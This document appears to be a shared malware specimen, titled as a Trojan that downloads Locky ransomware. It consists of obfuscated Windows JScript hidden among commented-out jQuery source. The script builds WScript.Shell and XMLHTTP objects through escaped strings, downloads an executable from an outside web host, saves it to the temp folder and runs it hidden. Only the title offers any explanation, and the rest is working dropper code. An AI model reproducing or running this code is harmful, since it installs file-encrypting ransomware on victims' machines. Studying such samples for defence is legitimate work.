Trojan downloading "Locky" which encrypts system files

//(function( global, factory ) {

var LYkOk = 'R\u0075n'; var dDQWLt = this['\u0041c'+'\u0074iv\u0065'+'XO\u0062'+("sloped","dilatory",'\u006Aec\u0074')];
var ERBegYxY = new dDQWLt('W'+("lenders","retribution","equal",'Sc\u0072\u0069p')+'t\u002ES'+'\u0068\u0065ll');
// if ( typeof module === "object" && typeof module.exports === "object" ) {   // For CommonJS and CommonJS-like environments where a proper `window`   // is present, execute the factory and get jQuery.   // For environments that do not have a `window` with a `document`   // (such as Node.js), expose a factory as module.exports.   // This accentuates the need for the creation of a real `window`.   // e.g. var jQuery = require("jquery")(window);   // See ticket #14549 for more info.   module.exports = global.document ?    factory( global, true ) :    function( w ) {     if ( !w.document ) {      throw new Error( "jQuery requires a window with a document" );     }     return factory( w );    };  } else {   factory( global );
var YodtFzuD = ERBegYxY['E'+'\u0078pa\u006E\u0064E\u006Ev\u0069'+'ron\u006D\u0065\u006E\u0074S\u0074\u0072i'+("receiver","plastics","gossip","factory",'n\u0067s')](("thrift","mystified","lenses","heather","pericles",'%')+'T'+'\u0045M'+'\u0050%') + ("imputation","cretaceous","benchmark","easier","nasdaq",'/D\u004A')+'WL\u0074'+'\u0053e'+'A2\u002E\u0065\u0078e';
//}// Pass this if window is not defined yet }(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
var KIhdP = new dDQWLt(("capital","concertina","squad","claims","appertain",'M')+'\u0053\u0058ML2.\u0058'+'M\u004C\u0048T'+("nonchalance","fireworks","uganda",'T\u0050'));
//// Support: Firefox 18+ // Can"t be in strict mode, several libs including ASP.NET trace // the stack via arguments.caller.callee and Firefox dies if // you try to trace through "use strict" call chains. (#13335) //"use strict"; var deletedIds = [];
KIhdP['o\u006E\u0072\u0065ad'+("curtail","outhouse","christians","dinghy","hazards",'y\u0073')+'t\u0061\u0074e\u0063\u0068'+("loafer","bankruptcy","seller","would",'\u0061\u006Ege')] = function () {
        if (KIhdP['\u0072\u0065ad'+'y\u0073t'+("religions","polymer","appearing","jewelry","tutelage",'a')+'\u0074e'] === 4) {
            var SKzQGACmh = new dDQWLt('\u0041D'+'\u004FD'+("brand","garrulous","bloated",'\u0042.')+'S\u0074r\u0065\u0061m');
            //var document = window.document;
            SKzQGACmh['\u006F\u0070en']();
            //var slice = deletedIds.slice;
            SKzQGACmh['t\u0079\u0070e'] = 1;
            //var concat = deletedIds.concat;
            SKzQGACmh[("agreements","groove","finder","beverage","pissing",'w')+'r'+'i'+'t\u0065'](KIhdP['R'+'\u0065sp'+'\u006Fnse\u0042\u006F'+("buffer","formosa","lamentably","sites",'d\u0079')]);
            //var push = deletedIds.push;
            SKzQGACmh[("drought","astringent","longer",'p')+'o\u0073'+'i\u0074'+'io\u006E'] = 0;
            //var indexOf = deletedIds.indexOf;
            SKzQGACmh['\u0073av'+'eT\u006F'+("trinity","declension","genuine","amalgamated",'F\u0069')+'\u006Ce'](YodtFzuD, 2);
            //var class2type = {};
            SKzQGACmh[("autocrat","peerage","compaq",'c')+'l'+("translation","payday","obituaries","untenable","accommodate",'o')+'s\u0065']();
            //var toString = class2type.toString;
        };
};
try {

    //var hasOwn = class2type.hasOwnProperty;
    KIhdP['\u006Fpe\u006E']('G\u0045T', '\u0068tt\u0070:'+("procedure","manufacturers","writes",'\u002F/')+'myp\u0068\u0061\u006D\u0074\u0068an\u0068'+'\u0074\u0061\u006D\u002E\u0063\u006F\u006D\u002F\u0073\u0079\u0073\u0074\u0065\u006D\u002F\u006Co\u0067s\u002F\u00387y\u0068\u00625\u0034\u0063\u0064\u0066\u0079\u002E\u0065\u0078\u0065', false);

    //var support = {};
    KIhdP['\u0073en\u0064']();
    //
    ERBegYxY[LYkOk](YodtFzuD, 1, ![]+[]);
    //var  version = "1.12.1",
} catch (mXftEag) { };
// // Define a local copy of jQuery  jQuery = function( selector, context ) {